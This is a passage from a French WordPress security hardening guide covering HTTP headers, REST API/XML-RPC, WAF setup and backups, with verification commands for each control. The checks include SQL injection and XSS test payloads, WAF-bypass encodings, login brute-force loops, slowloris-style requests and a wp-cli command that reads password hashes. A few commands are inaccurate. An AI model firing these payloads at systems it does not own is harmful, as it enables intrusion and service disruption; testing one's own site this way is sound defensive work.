\nMITRE ATT&CK : T1082

Description : Tester régulièrement la configuration des headers de sécurité avec des outils automatisés pour maintenir la posture de sécurité.

Vérification :

# Test complet avec Security Headers  \ncurl -s 'https://securityheaders.com/?q=votre-site.com&hide=on&followRedirects=on'\n# Script local headers check\ncurl -I https://votre-site.com | grep -E '(X-Frame|Content-Security|X-Content-Type)'\n

Remédiation :
\n1. Monitoring mensuel Security Headers grade A+
\n2. Scripts automatisés CI/CD validation headers
\n3. Alertes changements configuration headers
\n4. Documentation baseline headers sécurité

Valeur par défaut : Pas de monitoring headers configuré

8.1.16 — HTTP/2 Push et Security

Niveau : ? Recommandé
\nRéférence : CIS WordPress 8.16
\nMITRE ATT&CK : T1189

Description : Configurer HTTP/2 Server Push de manière sécurisée pour éviter les attaques par empoisonnement de cache.

Vérification :

# Vérifier support HTTP/2\ncurl -I --http2 https://votre-site.com | grep -i 'HTTP/2'\n# Test Server Push headers\ncurl -I --http2 https://votre-site.com | grep -i 'link.*preload'\n

Remédiation :
\n1. Configurer Push sélectivement pour ressources critiques
\n2. Éviter Push de ressources user-controllées
\n3. Monitoring performance vs sécurité HTTP/2

Valeur par défaut : HTTP/2 Push non configuré

8.1.17 — Early Hints (103) Security

Niveau : ? Recommandé
\nRéférence : CIS WordPress 8.17
\nMITRE ATT&CK : T1189

Description : Configurer Early Hints de manière sécurisée pour le preloading de ressources sans compromettre la sécurité.

Vérification :

# Vérifier Early Hints support\ncurl -I https://votre-site.com | grep -i '103.*early'\n# Test preload hints sécurisés\n

Remédiation :
\n1. Early Hints uniquement pour ressources same-origin
\n2. Valider integrity des ressources preloadées
\n3. Monitoring impact performance vs sécurité

Valeur par défaut : Early Hints non configurés

8.1.18 — Headers Validation Pipeline

Niveau : ? Modéré
\nRéférence : CIS WordPress 8.18
\nMITRE ATT&CK : T1082

Description : Mettre en place un pipeline automatisé de validation des headers de sécurité dans le processus de déploiement.

Vérification :

# Script validation headers automatisé\nHEADERS=("X-Frame-Options" "Content-Security-Policy" "X-Content-Type-Options")\nfor header in "${HEADERS[@]}"; do\n    curl -I https://votre-site.com | grep -i "$header" || echo "Missing: $header"\ndone\n

Remédiation :
\n1. Intégration tests headers dans CI/CD
\n2. Validation pre-deployment obligatoire
\n3. Rollback automatique si headers manquants
\n4. Dashboard monitoring headers temps réel

Valeur par défaut : Validation headers manuelle

8.1.19 — CSP Reporting et Monitoring

Niveau : ? Important
\nRéférence : OWASP A03 / CIS WordPress 8.19
\nMITRE ATT&CK : T1189

Description : Configurer CSP reporting pour monitorer les violations et détecter les tentatives d'attaques XSS.

Vérification :

# Vérifier CSP report-uri/report-to\ncurl -I https://votre-site.com | grep -i 'content-security-policy.*report'\n# Test violation CSP  \ncurl 'https://votre-site.com' -H 'Content-Security-Policy: script-src 'self'; report-uri /csp-report'\n

Remédiation :
\n1. Configurer report-uri endpoint : report-uri /csp-violations
\n2. Analyser logs violations CSP régulièrement
\n3. Alertes automatiques violations suspectes
\n4. Ajuster politique CSP selon reports

Valeur par défaut : Pas de reporting CSP configuré

8.1.20 — Headers Bypass Prevention

Niveau : ? Important
\nRéférence : CIS WordPress 8.20
\nMITRE ATT&CK : T1562

Description : Empêcher le bypass des headers de sécurité via différentes méthodes (proxy, cache, redirections).

Vérification :

# Test bypass via redirections\ncurl -L -I https://votre-site.com/redirect-page\n# Vérifier consistency headers toutes pages  \ncurl -I https://votre-site.com/wp-admin/ | grep X-Frame-Options\ncurl -I https://votre-site.com/wp-login.php | grep X-Frame-Options\n

Remédiation :
\n1. Headers configurés au niveau serveur (pas seulement .htaccess)
\n2. Validation headers après redirections/proxies
\n3. Headers always set (pas conditionnels)
\n4. Test régulier bypass potentiels

Valeur par défaut : Possibilité bypass headers selon configuration

S10 — REST API & XML-RPC

10.1.1 — Désactivation XML-RPC

Niveau : ? Critique
\nRéférence : OWASP A06 / CIS WordPress 10.1
\nMITRE ATT&CK : T1190

Description : Désactiver XML-RPC qui présente de nombreuses vulnérabilités et est exploité pour les attaques brute force et DDoS.

Vérification :

# Test XML-RPC activé\ncurl -X POST https://votre-site.com/xmlrpc.php -H 'Content-Type: text/xml' -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'\n# Vérifier endpoint accessible\ncurl -I https://votre-site.com/xmlrpc.php\n

Remédiation :
\n1. wp-config.php : add_filter('xmlrpc_enabled', '__return_false');
\n2. .htaccess : <Files "xmlrpc.php"> Order Deny,Allow Deny from all </Files>
\n3. Plugin Wordfence pour blocage XML-RPC

Valeur par défaut : XML-RPC activé par défaut

10.1.2 — Restriction REST API WordPress

Niveau : ? Important
\nRéférence : OWASP A01 / CIS WordPress 10.2
\nMITRE ATT&CK : T1087

Description : Limiter l'accès à l'API REST WordPress pour empêcher l'énumération et l'accès non autorisé aux données.

Vérification :

# Test enumération utilisateurs via REST API\ncurl https://votre-site.com/wp-json/wp/v2/users\n# Test accès endpoints sensibles  \ncurl https://votre-site.com/wp-json/wp/v2/posts\ncurl https://votre-site.com/wp-json/wp/v2/media\n

Remédiation :
\n1. Désactiver pour non-authentifiés : add_filter('rest_authentication_errors', function() { return new WP_Error('rest_disabled', 'REST API disabled', array('status' => 401)); });
\n2. Plugin REST API security pour contrôle granulaire
\n3. Authentification requise endpoints sensibles

Valeur par défaut : API REST accessible publiquement

10.1.3 — Authentification API Sécurisée

Niveau : ? Important
\nRéférence : OWASP A02 / CIS WordPress 10.3
\nMITRE ATT&CK : T1078

Description : Implémenter une authentification robuste pour l'API REST avec tokens sécurisés.

Vérification :

# Test authentification API\ncurl -H 'Authorization: Bearer invalid_token' https://votre-site.com/wp-json/wp/v2/posts\n# Vérifier application passwords\nwp user list --field=user_login --allow-root | xargs -I {} wp user get {} --field=user_pass --allow-root\n

Remédiation :
\n1. Application Passwords WordPress 5.6+
\n2. JWT Authentication plugin sécurisé
\n3. API Keys avec expiration automatique
\n4. Rate limiting par token/utilisateur

Valeur par défaut : Authentification basique cookie/session

10.1.4 — Limitation Endpoints JSON

Niveau : ? Modéré
\nRéférence : CIS WordPress 10.4
\nMITRE ATT&CK : T1087

Description : Désactiver ou limiter les endpoints JSON exposant des informations sensibles sur l'installation WordPress.

Vérification :

# Enumérer endpoints disponibles\ncurl https://votre-site.com/wp-json/ | jq .\n# Vérifier exposition information  \ncurl https://votre-site.com/wp-json/wp/v2/ | jq .\ncurl https://votre-site.com/?rest_route=/\n

Remédiation :
\n1. Whitelist endpoints nécessaires uniquement
\n2. Plugin REST API restriction par rôle
\n3. Masquer informations version WordPress
\n4. Custom endpoints avec validation stricte

Valeur par défaut : Tous endpoints REST API exposés

10.1.5 — Protection Injection API

Niveau : ? Critique
\nRéférence : OWASP A03 / CIS WordPress 10.5
\nMITRE ATT&CK : T1190

Description : Prévenir les injections dans les paramètres API REST pour éviter l'exécution de code malveillant.

Vérification :

# Test injection SQL via API\ncurl -X POST https://votre-site.com/wp-json/wp/v2/posts -H 'Content-Type: application/json' -d '{"title":"Test'OR'1'='1"}'\n# Test XSS via API\ncurl -X POST https://votre-site.com/wp-json/wp/v2/comments -d 'content=<script>alert(1)</script>'\n

Remédiation :
\n1. Sanitisation stricte input API : sanitize_text_field()
\n2. Validation types données JSON Schema
\n3. WAF rules protection API endpoints
\n4. Rate limiting requêtes API

Valeur par défaut : Sanitisation basique WordPress, validation limitée

10.1.6 — Audit Logs API REST

Niveau : ? Modéré
\nRéférence : CIS WordPress 10.6
\nMITRE ATT&CK : T1087

Description : Logger toutes les activités API REST pour détecter les abus et tentatives d'intrusion.

Vérification :

# Vérifier logs API dans access logs\ngrep 'wp-json' /var/log/apache2/access.log | tail -20\n# Analyser patterns d'usage API\nawk '/wp-json/ {print $1, $7}' /var/log/apache2/access.log | sort | uniq -c\n

Remédiation :
\n1. Plugin WP Activity Log avec support API REST
\n2. Logging custom pour endpoints sensibles
\n3. Alertes tentatives accès non autorisé API
\n4. Dashboard monitoring usage API

Valeur par défaut : Logs basiques serveur web uniquement

10.1.7 — Rate Limiting API Avancé

Niveau : ? Important
\nRéférence : CIS WordPress 10.7
\nMITRE ATT&CK : T1499

Description : Implémenter un rate limiting sophistiqué pour l'API REST avec différents niveaux selon les endpoints.

Vérification :

# Test rate limiting API\nfor i in {1..20}; do curl -s https://votre-site.com/wp-json/wp/v2/users > /dev/null; echo "Request $i completed"; done\n# Vérifier headers rate limit\ncurl -I https://votre-site.com/wp-json/wp/v2/posts | grep -E '(X-RateLimit|Retry-After)'\n

Remédiation :
\n1. Plugin REST API rate limiting par IP/utilisateur
\n2. Rate limit différentiel : lecture vs écriture
\n3. Whitelist IPs de confiance (monitoring, CI/CD)
\n4. Response headers informatifs rate limit

Valeur par défaut : Pas de rate limiting API configuré

10.1.8 — CORS API Sécurisé

Niveau : ? Important
\nRéférence : OWASP A05 / CIS WordPress 10.8
\nMITRE ATT&CK : T1189

Description : Configurer CORS de manière restrictive pour l'API REST afin de contrôler l'accès cross-origin.

Vérification :

# Test CORS API REST  \ncurl -H 'Origin: https://external-domain.com' -H 'Access-Control-Request-Method: POST' -X OPTIONS https://votre-site.com/wp-json/wp/v2/posts\n# Vérifier headers CORS\ncurl -H 'Origin: https://malicious-site.com' https://votre-site.com/wp-json/wp/v2/users\n

Remédiation :
\n1. Headers CORS restrictifs API : Access-Control-Allow-Origin: https://votre-domaine.com
\n2. Validation Origin header strict
\n3. Methods HTTP autorisées minimum nécessaire
\n4. Credentials CORS uniquement si requis

Valeur par défaut : CORS permissif par défaut

10.1.9 — Versioning API Sécurisé

Niveau : ? Modéré
\nRéférence : CIS WordPress 10.9
\nMITRE ATT&CK : T1190

Description : Gérer les versions d'API de manière sécurisée en désactivant les versions obsolètes vulnérables.

Vérification :

# Énumérer versions API disponibles\ncurl https://votre-site.com/wp-json/ | jq '.namespaces'\n# Test accès versions multiples\ncurl https://votre-site.com/wp-json/wp/v2/users\ncurl https://votre-site.com/wp-json/wp/v1/users 2>/dev/null\n

Remédiation :
\n1. Désactiver anciennes versions API vulnérables
\n2. Migration forcée vers versions sécurisées
\n3. Deprecation warnings pour versions obsolètes
\n4. Documentation versions supportées

Valeur par défaut : Toutes versions API disponibles

10.1.10 — Chiffrement Communications API

Niveau : ? Critique
\nRéférence : OWASP A02 / CIS WordPress 10.10
\nMITRE ATT&CK : T1040

Description : Forcer HTTPS pour toutes communications API et implémenter des mécanismes de chiffrement supplémentaires si nécessaire.

Vérification :

# Test accès API via HTTP  \ncurl -I http://votre-site.com/wp-json/wp/v2/users\n# Vérifier redirection HTTPS\ncurl -L -I http://votre-site.com/wp-json/\n

Remédiation :
\n1. Force HTTPS pour wp-json : redirection 301
\n2. HSTS headers pour API endpoints
\n3. Chiffrement payload sensible (PII, payments)
\n4. Certificate pinning pour clients API critiques

Valeur par défaut : HTTPS selon configuration générale site

10.1.11 — Validation Schema API

Niveau : ? Important
\nRéférence : CIS WordPress 10.11
\nMITRE ATT&CK : T1190

Description : Implémenter une validation stricte des schémas JSON pour tous les endpoints API afin de prévenir les injections de données.

Vérification :

# Test validation schema avec données invalides\ncurl -X POST https://votre-site.com/wp-json/wp/v2/posts -H 'Content-Type: application/json' -d '{"title":123, "content":["invalid_array"]}'\n# Test champs supplémentaires non autorisés  \ncurl -X POST https://votre-site.com/wp-json/wp/v2/users -d 'malicious_field=value&user_login=test'\n

Remédiation :
\n1. JSON Schema validation stricte tous endpoints
\n2. Reject données avec champs non définis
\n3. Type checking rigoureux (string vs int vs array)
\n4. Sanitisation après validation schema

Valeur par défaut : Validation basique WordPress, permissive

10.1.12 — API Documentation Sécurisée

Niveau : ? Modéré
\nRéférence : CIS WordPress 10.12
\nMITRE ATT&CK : T1082

Description : Sécuriser la documentation API pour éviter l'exposition d'informations sensibles aux attaquants.

Vérification :

# Vérifier auto-documentation API\ncurl https://votre-site.com/wp-json/ | jq -r '.routes | keys[]'\n# Rechercher endpoints debug/doc\ncurl https://votre-site.com/wp-json/wp/v2/schema\n

Remédiation :
\n1. Désactiver auto-discovery API publique
\n2. Documentation API derrière authentification
\n3. Masquer endpoints internes/debug
\n4. Information minimale dans responses d'erreur

Valeur par défaut : Documentation API accessible publiquement

10.1.13 — Monitoring Sécurité API

Niveau : ? Important
\nRéférence : CIS WordPress 10.13
\nMITRE ATT&CK : T1087

Description : Implémenter un monitoring spécialisé pour détecter les abus et attaques contre l'API REST.

Vérification :

# Analyser patterns d'usage API suspects\nawk '/wp-json/ && /40[0-9]|50[0-9]/ {print $1, $9}' /var/log/apache2/access.log | sort | uniq -c | sort -nr\n# Vérifier tentatives énumération massive\ngrep -c 'wp-json.*users' /var/log/apache2/access.log\n

Remédiation :
\n1. SIEM rules spécifiques API WordPress
\n2. Alertes anomalies trafic API (volume, patterns)
\n3. Honeypot endpoints pour détection attaquants
\n4. Corrélation logs API avec tentatives login

Valeur par défaut : Monitoring API limité aux logs serveur web

10.1.14 — Cache API Sécurisé

Niveau : ? Modéré
\nRéférence : CIS WordPress 10.14
\nMITRE ATT&CK : T1565

Description : Configurer le cache API de manière sécurisée pour éviter les fuites de données et empoisonnements.

Vérification :

# Vérifier cache headers API\ncurl -I https://votre-site.com/wp-json/wp/v2/users | grep -E '(Cache-Control|ETag|Last-Modified)'\n# Test cache avec données sensibles\ncurl -H 'Authorization: Bearer token123' https://votre-site.com/wp-json/wp/v2/users/me\n

Remédiation :
\n1. No-cache pour endpoints avec données personnelles
\n2. Cache keys sécurisés sans données utilisateur
\n3. Invalidation cache automatique modifications sensibles
\n4. Séparation cache public/privé

Valeur par défaut : Cache selon configuration générale WordPress

10.1.15 — API Gateway Integration

Niveau : ? Recommandé
\nRéférence : CIS WordPress 10.15
\nMITRE ATT&CK : Multiple

Description : Intégrer un API Gateway pour centraliser sécurité, monitoring et contrôle d'accès à l'API WordPress.

Vérification :

# Vérifier si API accessible directement (bypass gateway)\ncurl -H 'Host: wordpress-backend.local' https://votre-site.com/wp-json/\n# Test rate limiting via gateway vs direct\ncurl -I https://api-gateway.com/wordpress/wp-json/wp/v2/users\n

Remédiation :
\n1. API Gateway (Kong, AWS API Gateway, Cloudflare)
\n2. Bloquer accès direct WordPress API
\n3. Authentication/authorization centralisée gateway
\n4. Analytics et monitoring unifié

Valeur par défaut : API WordPress accessible directement

S11 — PARE-FEU APPLICATIF WAF

11.1.1 — Configuration Wordfence WAF

Niveau : ? Important
\nRéférence : CIS WordPress 11.1
\nMITRE ATT&CK : T1562

Description : Déployer et configurer Wordfence comme pare-feu applicatif pour protéger contre les attaques web communes.

Vérification :

# Vérifier activation Wordfence\nwp plugin list --allow-root | grep wordfence\n# Test règles WAF actives\ncurl -I https://votre-site.com/wp-admin/admin-ajax.php -d 'action=wordfence_doScan'\n# Analyser logs Wordfence\nwp eval 'print_r(get_option("wordfence_version"));' --allow-root\n

Remédiation :
\n1. Installation Wordfence Security plugin
\n2. Configuration Learning Mode puis Live Traffic
\n3. Activation Real-time IP Block List
\n4. Tuning règles selon faux positifs

Valeur par défaut : Pas de WAF installé par défaut

11.1.2 — Protection Sucuri CloudProxy

Niveau : �� Important
\nRéférence : CIS WordPress 11.2
\nMITRE ATT&CK : T1562

Description : Implémenter Sucuri CloudProxy comme WAF cloud pour filtrage avancé et protection DDoS.

Vérification :

# Vérifier redirection DNS vers Sucuri\ndig votre-site.com | grep -A1 'ANSWER SECTION'\n# Test headers Sucuri\ncurl -I https://votre-site.com | grep -i sucuri\n# Vérifier IP real cachée\ncurl -H 'Host: votre-site.com' http://IP-ORIGINE-DIRECTE\n

Remédiation :
\n1. Configuration DNS pointing vers Sucuri
\n2. Restriction accès IP origine (whitelist Sucuri)
\n3. SSL/TLS proxy configuration
\n4. Monitoring dashboard Sucuri

Valeur par défaut : Trafic direct vers serveur origine

11.1.3 — Cloudflare WAF Rules

Niveau : ? Important
\nRéférence : CIS WordPress 11.3
\nMITRE ATT&CK : T1562

Description : Configurer les règles WAF Cloudflare spécifiquement pour WordPress avec protection adaptée.

Vérification :

# Vérifier utilisation Cloudflare\ncurl -I https://votre-site.com | grep -i cloudflare\ndig votre-site.com | grep cloudflare\n# Test challenge Cloudflare\ncurl -A 'BadBot/1.0' https://votre-site.com/wp-login.php\n

Remédiation :
\n1. Cloudflare proxy (orange cloud) activé
\n2. WAF rules WordPress-specific activées
\n3. Rate limiting aggressive wp-login.php
\n4. Bot Fight Mode pour protection automatique

Valeur par défaut : DNS uniquement sans proxy Cloudflare

11.1.4 — ModSecurity Rules OWASP CRS

Niveau : ? Important
\nRéférence : OWASP / CIS WordPress 11.4
\nMITRE ATT&CK : T1562

Description : Déployer ModSecurity avec OWASP Core Rule Set pour protection applicative au niveau serveur.

Vérification :

# Vérifier ModSecurity activé\ncurl -I https://votre-site.com | grep -i 'mod_security'\n# Test règles OWASP CRS  \ncurl 'https://votre-site.com/?test=<script>alert(1)</script>'\n# Analyser logs ModSecurity\ntail -20 /var/log/modsec_audit.log\n

Remédiation :
\n1. Installation mod_security Apache/Nginx
\n2. Déploiement OWASP CRS v3.3+
\n3. Configuration anomaly scoring mode
\n4. Tuning rules selon applications

Valeur par défaut : ModSecurity non installé par défaut

11.1.5 — Rate Limiting Avancé

Niveau : ? Important
\nRéférence : CIS WordPress 11.5
\nMITRE ATT&CK : T1499

Description : Implémenter un rate limiting sophistiqué pour différents types de requêtes et endpoints WordPress.

Vérification :

# Test rate limiting login\nfor i in {1..20}; do curl -X POST https://votre-site.com/wp-login.php -d 'log=test&pwd=test'; echo "Attempt $i"; done\n# Test rate limiting API  \nfor i in {1..50}; do curl https://votre-site.com/wp-json/wp/v2/users; done\n# Vérifier configuration mod_evasive\n

Remédiation :
\n1. mod_evasive Apache : limite requests/page/sec
\n2. fail2ban WordPress-specific rules
\n3. Rate limiting différentiel par endpoint
\n4. Whitelist IPs légitimes (monitoring, CDN)

Valeur par défaut : Pas de rate limiting configuré

11.1.6 — IP Blocking et Geolocation

Niveau : ? Modéré
\nRéférence : CIS WordPress 11.6
\nMITRE ATT&CK : T1562

Description : Bloquer les IPs malveillantes et implémenter des restrictions géographiques selon les besoins business.

Vérification :

# Vérifier GeoIP database  \ngeoiplookup 192.168.1.1\n# Test accès depuis VPN/Tor\ncurl --proxy socks5://127.0.0.1:9050 https://votre-site.com/wp-login.php\n# Analyser logs par pays\nawk '{print $1}' /var/log/apache2/access.log | sort | uniq -c | sort -nr | head -10\n

Remédiation :
\n1. Plugin IP Geo Block pour WordPress
\n2. Configuration mod_geoip Apache/Nginx
\n3. Blocklists IP threat intelligence
\n4. Whitelist pays autorisés si applicable

Valeur par défaut : Accès mondial sans restriction géo

11.1.7 — Bot Protection et CAPTCHA

Niveau : ? Modéré
\nRéférence : CIS WordPress 11.7
\nMITRE ATT&CK : T1499

Description : Détecter et bloquer les bots malveillants avec protection CAPTCHA pour formulaires sensibles.

Vérification :

# Test détection bot basique  \ncurl -A 'curl/7.68.0' https://votre-site.com/wp-login.php\n# Test sans User-Agent\ncurl -H 'User-Agent:' https://votre-site.com/wp-login.php\n# Analyser User-Agents suspects\nawk '{print $12}' /var/log/apache2/access.log | sort | uniq -c | sort -nr | head -20\n

Remédiation :
\n1. reCAPTCHA v3 sur wp-login.php et formulaires
\n2. Plugin Akismet pour anti-spam
\n3. Challenge JavaScript pour bots simples
\n4. Honeypot fields dans formulaires

Valeur par défaut : Pas de protection bot configurée

11.1.8 — Country/Region Blocking

Niveau : ? Modéré
\nRéférence : CIS WordPress 11.8
\nMITRE ATT&CK : T1562

Description : Bloquer l'accès depuis certains pays ou régions présentant un risque élevé selon le profil de menace.

Vérification :

# Test GeoIP lookup pour IPs suspectes\necho '94.102.49.190' | geoiplookup  # Example IP\n# Analyser distribution géographique trafic\nawk '{print $1}' /var/log/apache2/access.log | xargs -I {} geoiplookup {} | grep 'Country' | sort | uniq -c\n# Test accès via VPN pays bloqués\n

Remédiation :
\n1. Configuration mod_geoip avec blocklists pays
\n2. Cloudflare Geographic restrictions
\n3. Plugin WordPress IP Geo Block
\n4. Whitelist exceptions pour partenaires internationaux

Valeur par défaut : Accès global sans restriction pays

11.1.9 — WAF Rules Customization

Niveau : ? Modéré
\nRéférence : CIS WordPress 11.9
\nMITRE ATT&CK : T1562

Description : Personnaliser les règles WAF selon les spécificités de l'application WordPress et réduire les faux positifs.

Vérification :

# Analyser faux positifs WAF\ngrep 'ModSecurity.*blocked' /var/log/apache2/error.log | tail -10\n# Test règles custom WordPress\ncurl -X POST https://votre-site.com/wp-admin/admin-ajax.php -d 'action=custom_function&data=test'\n# Vérifier whitelist patterns\n

Remédiation :
\n1. Analyse logs faux positifs régulière
\n2. Rules customization WordPress-specific
\n3. Whitelist patterns légitimes (plugins, thèmes)
\n4. Tuning anomaly threshold selon environnement

Valeur par défaut : Règles WAF génériques sans customization

11.1.10 — Application Layer DDoS Protection

Niveau : ? Important
\nRéférence : CIS WordPress 11.10
\nMITRE ATT&CK : T1499

Description : Protection spécialisée contre les attaques DDoS au niveau applicatif (Layer 7) ciblant WordPress.

Vérification :

# Simuler charge applicative élevée\nab -n 10000 -c 100 https://votre-site.com/\n# Test attaque slowloris  \ntimeout 30 curl -H 'Connection: keep-alive' -H 'Keep-Alive: timeout=600' https://votre-site.com/wp-login.php &\n# Monitoring ressources serveur\niostat -x 1 5\n

Remédiation :
\n1. CDN avec DDoS protection (Cloudflare, AWS Shield)
\n2. Rate limiting agressif pendant attaques
\n3. Auto-scaling infrastructure cloud
\n4. Cache agressif contenu statique

Valeur par défaut : Protection DDoS basique hébergeur

11.1.11 — WAF Logging et Monitoring

Niveau : ? Modéré
\nRéférence : CIS WordPress 11.11
\nMITRE ATT&CK : T1562

Description : Configurer logging détaillé et monitoring du WAF pour analyse forensique et tuning règles.

Vérification :

# Vérifier logs WAF détaillés  \ntail -20 /var/log/modsec_audit.log\nls -la /var/log/wordfence/\n# Analyser patterns bloqués\ngrep 'BLOCK' /var/log/apache2/error.log | awk '{print $NF}' | sort | uniq -c\n

Remédiation :
\n1. Configuration audit logging complet WAF
\n2. Retention logs selon politique entreprise
\n3. Dashboard monitoring temps réel WAF
\n4. Alertes automatiques attaques détectées

Valeur par défaut : Logging WAF basique ou absent

11.1.12 — WAF Performance Optimization

Niveau : ? Modéré
\nRéférence : CIS WordPress 11.12
\nMITRE ATT&CK : N/A

Description : Optimiser les performances du WAF pour minimiser l'impact sur les temps de réponse du site WordPress.

Vérification :

# Mesurer latence avec/sans WAF\ntime curl -s https://votre-site.com > /dev/null\n# Test performance cache WAF  \nab -n 100 -c 10 https://votre-site.com/wp-content/themes/theme/style.css\n# Monitoring CPU usage WAF\ntop | grep 'mod_security\\|nginx\\|apache'\n

Remédiation :
\n1. Cache règles WAF en mémoire
\n2. Optimisation ordre règles (most specific first)
\n3. Exclusion ressources statiques de certaines règles
\n4. Load balancing avec health checks WAF

Valeur par défaut : Configuration WAF sans optimisation performance

11.1.13 — WAF Bypass Prevention

Niveau : ? Important
\nRéférence : CIS WordPress 11.13
\nMITRE ATT&CK : T1562

Description : Empêcher les techniques de contournement du WAF par encoding, obfuscation et autres méthodes.

Vérification :

# Test bypass encoding\ncurl 'https://votre-site.com/?test=%3Cscript%3Ealert(1)%3C/script%3E'\n# Test double encoding  \ncurl 'https://votre-site.com/?test=%253Cscript%253E'\n# Test HTTP Parameter Pollution\ncurl 'https://votre-site.com/?test=safe&test=<script>alert(1)</script>'\n

Remédiation :
\n1. Règles WAF anti-evasion (double encoding, etc.)
\n2. Normalisation input avant analyse
\n3. Multiple rule engines validation
\n4. Content inspection au niveau byte

Valeur par défaut : Techniques bypass possibles selon WAF

11.1.14 — WAF Rule Updates et Threat Intelligence

Niveau : ? Modéré
\nRéférence : CIS WordPress 11.14
\nMITRE ATT&CK : T1562

Description : Maintenir les règles WAF à jour avec les dernières signatures de menaces et threat intelligence.

Vérification :

# Vérifier version règles OWASP CRS\ngrep 'OWASP_CRS' /etc/modsecurity/crs/\n# Check updates Wordfence  \nwp plugin update wordfence --allow-root\n# Vérifier threat intelligence feeds\ncurl -s https://reputation.alienvault.com/reputation.data | head -10\n

Remédiation :
\n1. Auto-update règles WAF quotidiennement
\n2. Abonnement threat intelligence feeds
\n3. Testing règles en staging avant production
\n4. Rollback automatique si règles cassent site

Valeur par défaut : Mise à jour manuelle règles WAF

11.1.15 — WAF Integration SIEM

Niveau : ? Recommandé
\nRéférence : CIS WordPress 11.15
\nMITRE ATT&CK : T1562

Description : Intégrer les logs et alertes WAF dans un SIEM pour corrélation avec autres sources de sécurité.

Vérification :

# Vérifier format logs WAF pour SIEM\ntail -5 /var/log/modsec_audit.log | head -1\n# Test envoi logs vers SIEM  \nlogger -p local0.info 'TEST WAF SIEM Integration'\n# Vérifier parsing logs\n

Remédiation :
\n1. Configuration syslog WAF vers SIEM
\n2. Parsing et normalisation logs WAF
\n3. Corrélation WAF avec logs auth/access
\n4. Dashboards et alertes SIEM pour attaques WAF

Valeur par défaut : WAF standalone sans intégration SIEM

S12 — SAUVEGARDES & RESTAURATION

12.1.1 — Stratégie de Sauvegarde 3-2-1

Niveau : ? Critique
\nRéférence : CIS WordPress 12.1
\nMITRE ATT&CK : T1485

Description : Implémenter la stratégie 3-2-1 : 3 copies des données, 2 supports différents, 1 copie hors-site pour protection optimale contre ransomware et sinistres.

Vérification :

# Vérifier sauvegardes locales\nls -la /var/backups/wordpress/ | head -10\n# Test sauvegarde base de données\nwp db export backup-test.sql --allow-root\n# Vérifier sauvegardes distantes\naws s3 ls s3://votre-bucket-backup/ --recursive | tail -10\n

Remédiation :
\n1. Plugin UpdraftPlus avec stockage cloud
\n2. Sauvegarde locale + cloud (S3, Google Drive)
\n3. Copie offline ou air-gapped régulière
\n4. Tests restauration trimestriels

Valeur par défaut : Pas de stratégie sauvegarde automatique

12.1.2 — UpdraftPlus Configuration Avancée

Niveau : ? Important
\nRéférence : CIS WordPress 12.2
\nMITRE ATT&CK : T1485

Description : Configurer UpdraftPlus avec chiffrement et stockage redondant pour sauvegardes WordPress complètes.

Vérification :

# Vérifier plugin UpdraftPlus  \nwp plugin list --allow-root | grep updraftplus\n# Analyser configuration sauvegarde\nwp eval 'print_r(get_option("updraft_interval"));' --allow-root\n# Test sauvegarde manuelle\nwp eval 'do_action("updraft_backup_now");' --allow-root\n

Remédiation :
\n1. Installation UpdraftPlus Premium pour chiffrement
\n2. Configuration multi-destination (S3 + Google Drive)
\n3. Planification automatique quotidienne
\n4. Notifications email succès/échec

Valeur par défaut : Plugin sauvegarde non installé

12.1.3 — Sauvegarde Base de Données Sécurisée

Niveau : ? Critique
\nRéférence : CIS WordPress 12.3
\nMITRE ATT&CK : T1485

Description : Sauvegarder la base de données WordPress avec chiffrement et vérification d'intégrité.

Vérification :

# Sauvegarde DB avec wp-cli\nwp db export backup-$(date +%Y%m%d).sql --allow-root\n# Test restauration DB  \nwp db import backup-test.sql --allow-root\n# Vérifier taille et intégrité\nls -lh backup-*.sql | tail -5\n

Remédiation :
\n1. Scripts cron sauvegarde DB quotidienne
\n2. Chiffrement AES-256 dumps SQL
\n3. Checksum MD5/SHA256 pour intégrité
\n4. Rétention 30 jours minimum

Valeur par défaut : Pas de sauvegarde DB automatique

12.1.4 — Sauvegarde Fichiers et Médias

Niveau : ? Important
\nRéférence : CIS WordPress 12.4
\nMITRE ATT&CK : T1485

Description : Sauvegarder tous les fichiers WordPress incluant uploads, thèmes personnalisés et configurations.

Vérification :

# Sauvegarde complète fichiers  \ntar -czf wordpress-files-$(date +%Y%m%d).tar.gz /var/www/html/\n# Sauvegarde uploads uniquement\nrsync -av /var/www/html/wp-content/uploads/ /backup/uploads/\n# Vérifier taille backups\ndu -sh /backup/* | sort -hr\n

Remédiation :
\n1. rsync quotidien vers stockage distant
\n2. Exclusion logs et cache du backup
\n3. Compression et chiffrement archives
\n4. Monitoring espace disque backups

Valeur par défaut : Sauvegarde fichiers manuelle uniquement

12.1.5 — Test de Restauration Régulier

Niveau : ? Critique
\nRéférence : CIS WordPress 12.5
\nMITRE ATT&CK : T1485

Description : Tester régulièrement les procédures de restauration pour valider l'intégrité et la récupérabilité des sauvegardes.

Vérification :

# Test restauration en staging\nwp db import latest-backup.sql --allow-root --url=staging.votre-site.com\n# Vérification intégrité site restauré\ncurl -I https://staging.votre-site.com\n# Test fonctionnalités critiques post-restauration\n

Remédiation :
\n1. Environnement staging dédié tests restauration
\n2. Procédure documentée restauration complète
\n3. Tests mensuels automatisés
\n4. Métriques RTO/RPO définies et mesurées

Valeur par défaut : Pas de test restauration systématique

12.1.6 — Sauvegarde Hors-Site Sécurisée

Niveau : ? Important
\nRéférence : CIS WordPress 12.6
\nMITRE ATT&CK : T1485

Description : Maintenir des copies de sauvegarde géographiquement séparées et sécurisées contre accès non autorisé.

Vérification :

# Vérifier synchronisation cloud  \naws s3 sync /local/backups/ s3://backup-bucket-remote/wordpress/ --dry-run\n# Test accès sauvegarde distante\naws s3 ls s3://backup-bucket-remote/wordpress/ | tail -10\n# Vérifier chiffrement en transit/repos\n

Remédiation :
\n1. Réplication multi-région (EU + US par exemple)
\n2. Chiffrement client-side avant upload cloud
\n3. Access controls stricts buckets S3
\n4. Versioning et lifecycle policies

Valeur par défaut : Sauvegardes locales uniquement

12.1.7 — Rétention et Archivage

Niveau : ? Modéré
\nRéférence : CIS WordPress 12.7
\nMITRE ATT&CK : T1485

Description : Définir et implémenter une politique de rétention des sauvegardes avec archivage long terme conforme aux exigences légales.

Vérification :

# Analyser âge des sauvegardes\nfind /backup/ -name '*.sql' -type f -mtime +30 | wc -l\n# Vérifier politique lifecycle S3\naws s3api get-bucket-lifecycle-configuration --bucket backup-bucket\n# Monitoring espace stockage utilisé\n

Remédiation :
